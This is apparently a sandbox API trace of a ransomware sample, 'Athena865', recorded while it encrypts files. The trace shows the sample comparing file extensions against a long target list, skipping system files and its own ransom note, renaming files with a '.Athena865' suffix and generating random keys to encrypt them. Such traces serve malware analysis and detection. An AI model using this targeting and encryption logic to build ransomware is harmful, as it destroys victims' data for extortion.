[0116.670] lstrlenW (lpString="dsk") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1 [0116.670] lstrlenW (lpString="dsn") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1 [0116.670] lstrlenW (lpString="dtsx") returned 4 [0116.670] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1 [0116.670] lstrlenW (lpString="dxl") returned 3 [0116.670] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1 [0116.670] lstrlenW (lpString="eco") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1 [0116.671] lstrlenW (lpString="ecx") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1 [0116.671] lstrlenW (lpString="edb") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1 [0116.671] lstrlenW (lpString="epim") returned 4 [0116.671] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1 [0116.671] lstrlenW (lpString="fcd") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1 [0116.671] lstrlenW (lpString="fdb") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1 [0116.671] lstrlenW (lpString="fic") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1 [0116.671] lstrlenW (lpString="flexolibrary") returned 12 [0116.671] lstrlenW (lpString="fm5") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1 [0116.671] lstrlenW (lpString="fmp") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1 [0116.671] lstrlenW (lpString="fmp12") returned 5 [0116.671] lstrcmpiW (lpString1="k.jpg", lpString2="fmp12") returned 1 [0116.671] lstrlenW (lpString="fmpsl") returned 5 [0116.671] lstrcmpiW (lpString1="k.jpg", lpString2="fmpsl") returned 1 [0116.671] lstrlenW (lpString="fol") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1 [0116.671] lstrlenW (lpString="fp3") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1 [0116.671] lstrlenW (lpString="fp4") returned 3 [0116.671] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1 [0116.671] lstrlenW (lpString="fp5") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1 [0116.672] lstrlenW (lpString="fp7") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1 [0116.672] lstrlenW (lpString="fpt") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1 [0116.672] lstrlenW (lpString="frm") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1 [0116.672] lstrlenW (lpString="gdb") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0116.672] lstrlenW (lpString="gdb") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0116.672] lstrlenW (lpString="grdb") returned 4 [0116.672] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1 [0116.672] lstrlenW (lpString="gwi") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1 [0116.672] lstrlenW (lpString="hdb") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1 [0116.672] lstrlenW (lpString="his") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1 [0116.672] lstrlenW (lpString="ib") returned 2 [0116.672] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1 [0116.672] lstrlenW (lpString="idb") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1 [0116.672] lstrlenW (lpString="ihx") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1 [0116.672] lstrlenW (lpString="itdb") returned 4 [0116.672] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1 [0116.672] lstrlenW (lpString="itw") returned 3 [0116.672] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1 [0116.672] lstrlenW (lpString="jet") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1 [0116.673] lstrlenW (lpString="jtx") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1 [0116.673] lstrlenW (lpString="kdb") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1 [0116.673] lstrlenW (lpString="kexi") returned 4 [0116.673] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1 [0116.673] lstrlenW (lpString="kexic") returned 5 [0116.673] lstrcmpiW (lpString1="k.jpg", lpString2="kexic") returned -1 [0116.673] lstrlenW (lpString="kexis") returned 5 [0116.673] lstrcmpiW (lpString1="k.jpg", lpString2="kexis") returned -1 [0116.673] lstrlenW (lpString="lgc") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1 [0116.673] lstrlenW (lpString="lwx") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1 [0116.673] lstrlenW (lpString="maf") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1 [0116.673] lstrlenW (lpString="maq") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1 [0116.673] lstrlenW (lpString="mar") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1 [0116.673] lstrlenW (lpString="marshal") returned 7 [0116.673] lstrcmpiW (lpString1="ock.jpg", lpString2="marshal") returned 1 [0116.673] lstrlenW (lpString="mas") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1 [0116.673] lstrlenW (lpString="mav") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1 [0116.673] lstrlenW (lpString="maw") returned 3 [0116.673] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1 [0116.673] lstrlenW (lpString="mdbhtml") returned 7 [0116.674] lstrcmpiW (lpString1="ock.jpg", lpString2="mdbhtml") returned 1 [0116.674] lstrlenW (lpString="mdn") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1 [0116.674] lstrlenW (lpString="mdt") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1 [0116.674] lstrlenW (lpString="mfd") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1 [0116.674] lstrlenW (lpString="mpd") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1 [0116.674] lstrlenW (lpString="mrg") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1 [0116.674] lstrlenW (lpString="mud") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1 [0116.674] lstrlenW (lpString="mwb") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1 [0116.674] lstrlenW (lpString="myd") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1 [0116.674] lstrlenW (lpString="ndf") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1 [0116.674] lstrlenW (lpString="nnt") returned 3 [0116.674] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1 [0116.675] lstrlenW (lpString="nrmlib") returned 6 [0116.675] lstrcmpiW (lpString1="ck.jpg", lpString2="nrmlib") returned -1 [0116.675] lstrlenW (lpString="ns2") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1 [0116.675] lstrlenW (lpString="ns3") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1 [0116.675] lstrlenW (lpString="ns4") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1 [0116.675] lstrlenW (lpString="nsf") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1 [0116.675] lstrlenW (lpString="nv") returned 2 [0116.675] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1 [0116.675] lstrlenW (lpString="nv2") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1 [0116.675] lstrlenW (lpString="nwdb") returned 4 [0116.675] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1 [0116.675] lstrlenW (lpString="nyf") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1 [0116.675] lstrlenW (lpString="odb") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0116.675] lstrlenW (lpString="odb") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0116.675] lstrlenW (lpString="oqy") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1 [0116.675] lstrlenW (lpString="ora") returned 3 [0116.675] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1 [0116.676] lstrlenW (lpString="orx") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1 [0116.676] lstrlenW (lpString="owc") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1 [0116.676] lstrlenW (lpString="p96") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1 [0116.676] lstrlenW (lpString="p97") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1 [0116.676] lstrlenW (lpString="pan") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1 [0116.676] lstrlenW (lpString="pdb") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1 [0116.676] lstrlenW (lpString="pdm") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1 [0116.676] lstrlenW (lpString="pnz") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1 [0116.676] lstrlenW (lpString="qry") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1 [0116.676] lstrlenW (lpString="qvd") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1 [0116.676] lstrlenW (lpString="rbf") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1 [0116.676] lstrlenW (lpString="rctd") returned 4 [0116.676] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1 [0116.676] lstrlenW (lpString="rod") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1 [0116.676] lstrlenW (lpString="rodx") returned 4 [0116.676] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1 [0116.676] lstrlenW (lpString="rpd") returned 3 [0116.676] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1 [0116.676] lstrlenW (lpString="rsd") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1 [0116.677] lstrlenW (lpString="sas7bdat") returned 8 [0116.677] lstrcmpiW (lpString1="cock.jpg", lpString2="sas7bdat") returned -1 [0116.677] lstrlenW (lpString="sbf") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1 [0116.677] lstrlenW (lpString="scx") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1 [0116.677] lstrlenW (lpString="sdb") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1 [0116.677] lstrlenW (lpString="sdc") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1 [0116.677] lstrlenW (lpString="sdf") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1 [0116.677] lstrlenW (lpString="sis") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1 [0116.677] lstrlenW (lpString="spq") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1 [0116.677] lstrlenW (lpString="te") returned 2 [0116.677] lstrcmpiW (lpString1="pg", lpString2="te") returned -1 [0116.677] lstrlenW (lpString="teacher") returned 7 [0116.677] lstrcmpiW (lpString1="ock.jpg", lpString2="teacher") returned -1 [0116.677] lstrlenW (lpString="tmd") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1 [0116.677] lstrlenW (lpString="tps") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1 [0116.677] lstrlenW (lpString="trc") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0116.677] lstrlenW (lpString="trc") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0116.677] lstrlenW (lpString="trm") returned 3 [0116.677] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1 [0116.678] lstrlenW (lpString="udb") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1 [0116.678] lstrlenW (lpString="udl") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1 [0116.678] lstrlenW (lpString="usr") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1 [0116.678] lstrlenW (lpString="v12") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1 [0116.678] lstrlenW (lpString="vis") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1 [0116.678] lstrlenW (lpString="vpd") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1 [0116.678] lstrlenW (lpString="vvv") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1 [0116.678] lstrlenW (lpString="wdb") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1 [0116.678] lstrlenW (lpString="wmdb") returned 4 [0116.678] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0116.678] lstrlenW (lpString="wrk") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1 [0116.678] lstrlenW (lpString="xdb") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1 [0116.678] lstrlenW (lpString="xld") returned 3 [0116.678] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1 [0116.678] lstrlenW (lpString="xmlff") returned 5 [0116.678] lstrcmpiW (lpString1="k.jpg", lpString2="xmlff") returned -1 [0116.678] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.Athena865") returned 79 [0116.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.athena865"), dwFlags=0x1) returned 1 [0116.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.680] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5115) returned 1 [0116.680] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.681] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.681] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.681] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1700, lpName=0x0) returned 0x154 [0116.683] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1700) returned 0x100000 [0116.710] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.711] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.711] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.713] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0116.713] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.713] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.713] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Pine_Lumber.jpg" | out: lpString1="Pine_Lumber.jpg") returned="Pine_Lumber.jpg" [0116.713] lstrlenW (lpString="Pine_Lumber.jpg") returned 15 [0116.713] lstrlenW (lpString="Athena865") returned 9 [0116.713] lstrcmpiW (lpString1="umber.jpg", lpString2="Athena865") returned 1 [0116.713] lstrlenW (lpString=".dll") returned 4 [0116.713] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2=".dll") returned 1 [0116.713] lstrlenW (lpString=".lnk") returned 4 [0116.713] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2=".lnk") returned 1 [0116.713] lstrlenW (lpString=".ini") returned 4 [0116.713] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2=".ini") returned 1 [0116.713] lstrlenW (lpString=".sys") returned 4 [0116.713] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2=".sys") returned 1 [0116.714] lstrlenW (lpString="Pine_Lumber.jpg") returned 15 [0116.714] lstrlenW (lpString="bak") returned 3 [0116.714] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0116.714] lstrlenW (lpString="ba_") returned 3 [0116.714] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0116.714] lstrlenW (lpString="dbb") returned 3 [0116.714] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0116.714] lstrlenW (lpString="vmdk") returned 4 [0116.714] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0116.714] lstrlenW (lpString="rar") returned 3 [0116.714] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0116.714] lstrlenW (lpString="zip") returned 3 [0116.714] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0116.714] lstrlenW (lpString="tgz") returned 3 [0116.714] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0116.714] lstrlenW (lpString="vbox") returned 4 [0116.714] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0116.714] lstrlenW (lpString="vdi") returned 3 [0116.714] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0116.714] lstrlenW (lpString="vhd") returned 3 [0116.714] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0116.714] lstrlenW (lpString="vhdx") returned 4 [0116.714] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0116.714] lstrlenW (lpString="avhd") returned 4 [0116.714] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0116.714] lstrlenW (lpString="db") returned 2 [0116.714] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0116.714] lstrlenW (lpString="db2") returned 3 [0116.714] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0116.714] lstrlenW (lpString="db3") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0116.715] lstrlenW (lpString="dbf") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0116.715] lstrlenW (lpString="mdf") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0116.715] lstrlenW (lpString="mdb") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0116.715] lstrlenW (lpString="sql") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0116.715] lstrlenW (lpString="sqlite") returned 6 [0116.715] lstrcmpiW (lpString1="er.jpg", lpString2="sqlite") returned -1 [0116.715] lstrlenW (lpString="sqlite3") returned 7 [0116.715] lstrcmpiW (lpString1="ber.jpg", lpString2="sqlite3") returned -1 [0116.715] lstrlenW (lpString="sqlitedb") returned 8 [0116.715] lstrcmpiW (lpString1="mber.jpg", lpString2="sqlitedb") returned -1 [0116.715] lstrlenW (lpString="xml") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0116.715] lstrlenW (lpString="$er") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0116.715] lstrlenW (lpString="4dd") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0116.715] lstrlenW (lpString="4dl") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0116.715] lstrlenW (lpString="^^^") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0116.715] lstrlenW (lpString="abs") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0116.715] lstrlenW (lpString="abx") returned 3 [0116.715] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0116.715] lstrlenW (lpString="accdb") returned 5 [0116.716] lstrcmpiW (lpString1="r.jpg", lpString2="accdb") returned 1 [0116.716] lstrlenW (lpString="accdc") returned 5 [0116.716] lstrcmpiW (lpString1="r.jpg", lpString2="accdc") returned 1 [0116.716] lstrlenW (lpString="accde") returned 5 [0116.716] lstrcmpiW (lpString1="r.jpg", lpString2="accde") returned 1 [0116.716] lstrlenW (lpString="accdr") returned 5 [0116.716] lstrcmpiW (lpString1="r.jpg", lpString2="accdr") returned 1 [0116.716] lstrlenW (lpString="accdt") returned 5 [0116.716] lstrcmpiW (lpString1="r.jpg", lpString2="accdt") returned 1 [0116.716] lstrlenW (lpString="accdw") returned 5 [0116.716] lstrcmpiW (lpString1="r.jpg", lpString2="accdw") returned 1 [0116.716] lstrlenW (lpString="accft") returned 5 [0116.716] lstrcmpiW (lpString1="r.jpg", lpString2="accft") returned 1 [0116.716] lstrlenW (lpString="adb") returned 3 [0116.716] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0116.716] lstrlenW (lpString="adb") returned 3 [0116.716] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0116.716] lstrlenW (lpString="ade") returned 3 [0116.716] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0116.716] lstrlenW (lpString="adf") returned 3 [0116.716] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0116.716] lstrlenW (lpString="adn") returned 3 [0116.716] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0116.716] lstrlenW (lpString="adp") returned 3 [0116.716] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0116.716] lstrlenW (lpString="alf") returned 3 [0116.716] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0116.716] lstrlenW (lpString="ask") returned 3 [0116.716] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0116.716] lstrlenW (lpString="btr") returned 3 [0116.716] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0116.717] lstrlenW (lpString="cat") returned 3 [0116.717] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0116.717] lstrlenW (lpString="cdb") returned 3 [0116.717] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0116.717] lstrlenW (lpString="ckp") returned 3 [0116.717] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0116.717] lstrlenW (lpString="cma") returned 3 [0116.717] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0116.717] lstrlenW (lpString="cpd") returned 3 [0116.717] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0116.717] lstrlenW (lpString="dacpac") returned 6 [0116.717] lstrcmpiW (lpString1="er.jpg", lpString2="dacpac") returned 1 [0116.717] lstrlenW (lpString="dad") returned 3 [0116.717] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0116.717] lstrlenW (lpString="dadiagrams") returned 10 [0116.717] lstrcmpiW (lpString1="Lumber.jpg", lpString2="dadiagrams") returned 1 [0116.717] lstrlenW (lpString="daschema") returned 8 [0116.717] lstrcmpiW (lpString1="mber.jpg", lpString2="daschema") returned 1 [0116.717] lstrlenW (lpString="db-journal") returned 10 [0116.717] lstrcmpiW (lpString1="Lumber.jpg", lpString2="db-journal") returned 1 [0116.717] lstrlenW (lpString="db-shm") returned 6 [0116.717] lstrcmpiW (lpString1="er.jpg", lpString2="db-shm") returned 1 [0116.717] lstrlenW (lpString="db-wal") returned 6 [0116.717] lstrcmpiW (lpString1="er.jpg", lpString2="db-wal") returned 1 [0116.717] lstrlenW (lpString="dbc") returned 3 [0116.717] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0116.717] lstrlenW (lpString="dbs") returned 3 [0116.717] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0116.717] lstrlenW (lpString="dbt") returned 3 [0116.717] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0116.717] lstrlenW (lpString="dbv") returned 3 [0116.718] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0116.718] lstrlenW (lpString="dbx") returned 3 [0116.718] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0116.718] lstrlenW (lpString="dcb") returned 3 [0116.718] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0116.718] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.Athena865") returned 83 [0116.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.athena865"), dwFlags=0x1) returned 1 [0116.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.719] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3981) returned 1 [0116.719] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.720] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.720] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.720] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1290, lpName=0x0) returned 0x154 [0116.722] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1290) returned 0x100000 [0116.723] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.724] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.724] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.724] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, 